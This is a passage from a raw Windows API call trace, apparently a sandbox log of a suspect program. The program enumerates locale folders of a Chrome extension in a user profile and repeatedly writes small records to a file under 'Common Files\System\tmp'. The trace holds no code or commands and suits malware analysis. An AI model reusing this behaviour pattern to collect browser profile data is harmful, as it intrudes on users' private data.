GetLastError () returned 0x12 [0135.373] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x8a3b80 | out: hHeap=0x7b0000) returned 1 [0135.373] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x8a3bb8 | out: hHeap=0x7b0000) returned 1 [0135.373] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x8a3bf0 | out: hHeap=0x7b0000) returned 1 [0135.373] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x8669e0 | out: hHeap=0x7b0000) returned 1 [0135.373] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x8a3c28 | out: hHeap=0x7b0000) returned 1 [0135.373] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x866b78 | out: hHeap=0x7b0000) returned 1 [0135.373] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x8a3c60 | out: hHeap=0x7b0000) returned 1 [0135.373] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x8a3c98 | out: hHeap=0x7b0000) returned 1 [0135.373] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x8a3cd0 | out: hHeap=0x7b0000) returned 1 [0135.373] AreFileApisANSI () returned 1 [0135.373] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0135.373] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x7bf6c0, cchWideChar=41 | out: lpWideCharStr="C:\\Program Files\\Common Files\\System\\tmp") returned 41 [0135.373] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0135.373] GetFileType (hFile=0x198) returned 0x1 [0135.373] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7bf6a0 | out: hHeap=0x7b0000) returned 1 [0135.373] GetLastError () returned 0xb7 [0135.373] SetLastError (dwErrCode=0xb7) [0135.373] GetLastError () returned 0xb7 [0135.373] SetLastError (dwErrCode=0xb7) [0135.373] WriteFile (in: hFile=0x198, lpBuffer=0x18970c*, nNumberOfBytesToWrite=0xf1, lpNumberOfBytesWritten=0x1896ec, lpOverlapped=0x0 | out: lpBuffer=0x18970c*, lpNumberOfBytesWritten=0x1896ec*=0xf1, lpOverlapped=0x0) returned 1 [0135.374] GetLastError () returned 0xb7 [0135.374] SetLastError (dwErrCode=0xb7) [0135.374] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x8380a8 | out: hHeap=0x7b0000) returned 1 [0135.374] CloseHandle (hObject=0x198) returned 1 [0135.375] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x8a7080 | out: hHeap=0x7b0000) returned 1 [0135.376] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\el\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x857bb530, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x857bb530, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x857bb530, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xdb, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0135.415] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x8a7080 | out: hHeap=0x7b0000) returned 1 [0135.415] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x8a3b48 | out: hHeap=0x7b0000) returned 1 [0135.415] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0135.415] GetLastError () returned 0x12 [0135.415] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x8a3b80 | out: hHeap=0x7b0000) returned 1 [0135.415] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x8a3bb8 | out: hHeap=0x7b0000) returned 1 [0135.415] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x8a3bf0 | out: hHeap=0x7b0000) returned 1 [0135.415] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x8669e0 | out: hHeap=0x7b0000) returned 1 [0135.415] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x8a3c28 | out: hHeap=0x7b0000) returned 1 [0135.415] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x866b78 | out: hHeap=0x7b0000) returned 1 [0135.415] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x8a3c60 | out: hHeap=0x7b0000) returned 1 [0135.415] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x8a3c98 | out: hHeap=0x7b0000) returned 1 [0135.415] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x8a3cd0 | out: hHeap=0x7b0000) returned 1 [0135.416] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x8a6f58 | out: hHeap=0x7b0000) returned 1 [0135.416] AreFileApisANSI () returned 1 [0135.416] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0135.416] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x7bf6c0, cchWideChar=41 | out: lpWideCharStr="C:\\Program Files\\Common Files\\System\\tmp") returned 41 [0135.416] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0135.416] GetFileType (hFile=0x198) returned 0x1 [0135.416] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7bf6a0 | out: hHeap=0x7b0000) returned 1 [0135.416] GetLastError () returned 0xb7 [0135.416] SetLastError (dwErrCode=0xb7) [0135.416] GetLastError () returned 0xb7 [0135.416] SetLastError (dwErrCode=0xb7) [0135.416] WriteFile (in: hFile=0x198, lpBuffer=0x18970c*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x1896ec, lpOverlapped=0x0 | out: lpBuffer=0x18970c*, lpNumberOfBytesWritten=0x1896ec*=0xf4, lpOverlapped=0x0) returned 1 [0135.416] GetLastError () returned 0xb7 [0135.416] SetLastError (dwErrCode=0xb7) [0135.416] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x8380a8 | out: hHeap=0x7b0000) returned 1 [0135.416] CloseHandle (hObject=0x198) returned 1 [0135.418] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_GB\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x857e1690, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x859aa710, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x859aa710, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0135.460] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x8a82a0 | out: hHeap=0x7b0000) returned 1 [0135.460] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x8a3b48 | out: hHeap=0x7b0000) returned 1 [0135.460] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0135.460] GetLastError () returned 0x12 [0135.460] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x8a3b80 | out: hHeap=0x7b0000) returned 1 [0135.460] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x8a3bb8 | out: hHeap=0x7b0000) returned 1 [0135.460] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x8a3bf0 | out: hHeap=0x7b0000) returned 1 [0135.460] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x88dd40 | out: hHeap=0x7b0000) returned 1 [0135.460] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x8a3c28 | out: hHeap=0x7b0000) returned 1 [0135.460] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x899cb8 | out: hHeap=0x7b0000) returned 1 [0135.460] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x8a3c60 | out: hHeap=0x7b0000) returned 1 [0135.460] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x8a3c98 | out: hHeap=0x7b0000) returned 1 [0135.460] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x8a3cd0 | out: hHeap=0x7b0000) returned 1 [0135.460] AreFileApisANSI () returned 1 [0135.460] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0135.460] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x7bf6c0, cchWideChar=41 | out: lpWideCharStr="C:\\Program Files\\Common Files\\System\\tmp") returned 41 [0135.461] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0135.461] GetFileType (hFile=0x198) returned 0x1 [0135.461] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7bf6a0 | out: hHeap=0x7b0000) returned 1 [0135.461] GetLastError () returned 0xb7 [0135.461] SetLastError (dwErrCode=0xb7) [0135.461] GetLastError () returned 0xb7 [0135.461] SetLastError (dwErrCode=0xb7) [0135.461] WriteFile (in: hFile=0x198, lpBuffer=0x18970c*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x1896ec, lpOverlapped=0x0 | out: lpBuffer=0x18970c*, lpNumberOfBytesWritten=0x1896ec*=0xf4, lpOverlapped=0x0) returned 1 [0135.461] GetLastError () returned 0xb7 [0135.461] SetLastError (dwErrCode=0xb7) [0135.461] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x8380a8 | out: hHeap=0x7b0000) returned 1 [0135.461] CloseHandle (hObject=0x198) returned 1 [0135.463] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\en_US\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x859aa710, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x859aa710, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x859aa710, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0135.507] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x8a82a0 | out: hHeap=0x7b0000) returned 1 [0135.507] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x8a3b48 | out: hHeap=0x7b0000) returned 1 [0135.507] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0135.507] GetLastError () returned 0x12 [0135.507] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x8a3b80 | out: hHeap=0x7b0000) returned 1 [0135.507] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x8a3bb8 | out: hHeap=0x7b0000) returned 1 [0135.507] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x8a3bf0 | out: hHeap=0x7b0000) returned 1 [0135.507] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x88dd40 | out: hHeap=0x7b0000) returned 1 [0135.507] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x8a3c28 | out: hHeap=0x7b0000) returned 1 [0135.507] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x899cb8 | out: hHeap=0x7b0000) returned 1 [0135.508] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x8a3c60 | out: hHeap=0x7b0000) returned 1 [0135.508] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x8a3c98 | out: hHeap=0x7b0000) returned 1 [0135.508] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x8a3cd0 | out: hHeap=0x7b0000) returned 1 [0135.508] AreFileApisANSI () returned 1 [0135.508] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0135.508] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x7bf6c0, cchWideChar=41 | out: lpWideCharStr="C:\\Program Files\\Common Files\\System\\tmp") returned 41 [0135.508] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0135.508] GetFileType (hFile=0x198) returned 0x1 [0135.508] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7bf6a0 | out: hHeap=0x7b0000) returned 1 [0135.508] GetLastError () returned 0xb7 [0135.508] SetLastError (dwErrCode=0xb7) [0135.508] GetLastError () returned 0xb7 [0135.508] SetLastError (dwErrCode=0xb7) [0135.508] WriteFile (in: hFile=0x198, lpBuffer=0x18970c*, nNumberOfBytesToWrite=0xf1, lpNumberOfBytesWritten=0x1896ec, lpOverlapped=0x0 | out: lpBuffer=0x18970c*, lpNumberOfBytesWritten=0x1896ec*=0xf1, lpOverlapped=0x0) returned 1 [0135.508] GetLastError () returned 0xb7 [0135.508] SetLastError (dwErrCode=0xb7) [0135.508] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x8380a8 | out: hHeap=0x7b0000) returned 1 [0135.508] CloseHandle (hObject=0x198) returned 1 [0135.510] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x8a6f58 | out: hHeap=0x7b0000) returned 1 [0135.510] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x859aa710, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x859aa710, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x859aa710, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa8, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0135.553] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x8a6f58 | out: hHeap=0x7b0000) returned 1 [0135.553] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x8a3b48 | out: hHeap=0x7b0000) returned 1 [0135.553] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0135.553] GetLastError () returned 0x12 [0135.553] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x8a3b80 | out: hHeap=0x7b0000) returned 1 [0135.553] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x8a3bb8 | out: hHeap=0x7b0000) returned 1 [0135.554] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x8a3bf0 | out: hHeap=0x7b0000) returned 1 [0135.554] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x866b78 | out: hHeap=0x7b0000) returned 1 [0135.554] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x8a3c28 | out: hHeap=0x7b0000) returned 1 [0135.554] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x866d10 | out: hHeap=0x7b0000) returned 1 [0135.554] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x8a3c60 | out: hHeap=0x7b0000) returned 1 [0135.554] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x8a3c98 | out: hHeap=0x7b0000) returned 1 [0135.554] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x8a3cd0 | out: hHeap=0x7b0000) returned 1 [0135.554] AreFileApisANSI () returned 1 [0135.554] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0135.554] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x7bf6c0, cchWideChar=41 | out: lpWideCharStr="C:\\Program Files\\Common Files\\System\\tmp") returned 41 [0135.554] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0135.554] GetFileType (hFile=0x198) returned 0x1 [0135.554] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7bf6a0 | out: hHeap=0x7b0000) returned 1 [0135.554] GetLastError () returned 0xb7 [0135.554] SetLastError (dwErrCode=0xb7) [0135.554] GetLastError () returned 0xb7 [0135.554] SetLastError (dwErrCode=0xb7) [0135.554] WriteFile (in: hFile=0x198, lpBuffer=0x18970c*, nNumberOfBytesToWrite=0xf5, lpNumberOfBytesWritten=0x1896ec, lpOverlapped=0x0 | out: lpBuffer=0x18970c*, lpNumberOfBytesWritten=0x1896ec*=0xf5, lpOverlapped=0x0) returned 1 [0135.554] GetLastError () returned 0xb7 [0135.554] SetLastError (dwErrCode=0xb7) [0135.554] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x8380a8 | out: hHeap=0x7b0000) returned 1 [0135.555] CloseHandle (hObject=0x198) returned 1 [0135.556] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\es_419\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x859d0870, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x859d0870, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x859d0870, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0135.557] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x8a82a0 | out: hHeap=0x7b0000) returned 1 [0135.557] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x8a3b48 | out: hHeap=0x7b0000) returned 1 [0135.557] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0135.557] GetLastError () returned 0x12 [0135.557] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x8a3b80 | out: hHeap=0x7b0000) returned 1 [0135.557] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x8a3bb8 | out: hHeap=0x7b0000) returned 1 [0135.557] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x8a3bf0 | out: hHeap=0x7b0000) returned 1 [0135.557] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x88dd40 | out: hHeap=0x7b0000) returned 1 [0135.557] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x8a3c28 | out: hHeap=0x7b0000) returned 1 [0135.557] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x899cb8 | out: hHeap=0x7b0000) returned 1 [0135.557] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x8a3c60 | out: hHeap=0x7b0000) returned 1 [0135.557] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x8a3c98 | out: hHeap=0x7b0000) returned 1 [0135.557] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x8a3cd0 | out: hHeap=0x7b0000) returned 1 [0135.557] AreFileApisANSI () returned 1 [0135.557] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0135.557] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x7bf6c0, cchWideChar=41 | out: lpWideCharStr="C:\\Program Files\\Common Files\\System\\tmp") returned 41 [0135.557] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0135.558] GetFileType (hFile=0x198) returned 0x1 [0135.558] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7bf6a0 | out: hHeap=0x7b0000) returned 1 [0135.558] GetLastError () returned 0xb7 [0135.558] SetLastError (dwErrCode=0xb7) [0135.558] GetLastError () returned 0xb7 [0135.558] SetLastError (dwErrCode=0xb7) [0135.558] WriteFile (in: hFile=0x198, lpBuffer=0x18970c*, nNumberOfBytesToWrite=0xf1, lpNumberOfBytesWritten=0x1896ec, lpOverlapped=0x0 | out: lpBuffer=0x18970c*, lpNumberOfBytesWritten=0x1896ec*=0xf1, lpOverlapped=0x0) returned 1 [0135.558] GetLastError () returned 0xb7 [0135.558] SetLastError (dwErrCode=0xb7) [0135.558] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x8380a8 | out: hHeap=0x7b0000) returned 1 [0135.558] CloseHandle (hObject=0x198) returned 1 [0135.560] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x8a6f58 | out: hHeap=0x7b0000) returned 1 [0135.560] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\et\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x859d0870, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x859d0870, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x859d0870, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa8, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0135.601] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x8a6f58 | out: hHeap=0x7b0000) returned 1 [0135.601] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x8a3b48 | out: hHeap=0x7b0000) returned 1 [0135.601] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0135.601] GetLastError () returned 0x12 [0135.601] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x8a3b80 | out: hHeap=0x7b0000) returned 1 [0135.601] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x8a3bb8 | out: hHeap=0x7b0000) returned 1 [0135.601] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x8a3bf0 | out: hHeap=0x7b0000) returned 1 [0135.601] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x866b78 | out: hHeap=0x7b0000) returned 1 [0135.601] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x8a3c28 | out: hHeap=0x7b0000) returned 1 [0135.601] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x866d10 | out: hHeap=0x7b0000) returned 1 [0135.601] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x8a3c60 | out: hHeap=0x7b0000) returned 1 [0135.601] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x8a3c98 | out: hHeap=0x7b0000) returned 1 [0135.601] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x8a3cd0 | out: hHeap=0x7b0000) returned 1 [0135.601] AreFileApisANSI () returned 1 [0135.601] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0135.601] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x7bf6c0, cchWideChar=41 | out: lpWideCharStr="C:\\Program Files\\Common Files\\System\\tmp") returned 41 [0135.601] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0135.602] GetFileType (hFile=0x198) returned 0x1 [0135.602] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x7bf6a0 | out: hHeap=0x7b0000) returned 1 [0135.602] GetLastError () returned 0xb7 [0135.602] SetLastError (dwErrCode=0xb7) [0135.602] GetLastError () returned 0xb7 [0135.602] SetLastError (dwErrCode=0xb7) [0135.602] WriteFile (in: hFile=0x198, lpBuffer=0x18970c*, nNumberOfBytesToWrite=0xf1, lpNumberOfBytesWritten=0x1896ec, lpOverlapped=0x0 | out: lpBuffer=0x18970c*, lpNumberOfBytesWritten=0x1896ec*=0xf1, lpOverlapped=0x0) returned 1 [0135.602] GetLastError () returned 0xb7 [0135.602] SetLastError (dwErrCode=0xb7) [0135.602] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x8380a8 | out: hHeap=0x7b0000) returned 1 [0135.602] CloseHandle (hObject=0x198) returned 1 [0135.604] HeapFree (in: hHeap=0x7b0000, dwFlags=0x0, lpMem=0x8a6f58 | out: hHeap=0x7b0000) returned 1 [0135.604] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS 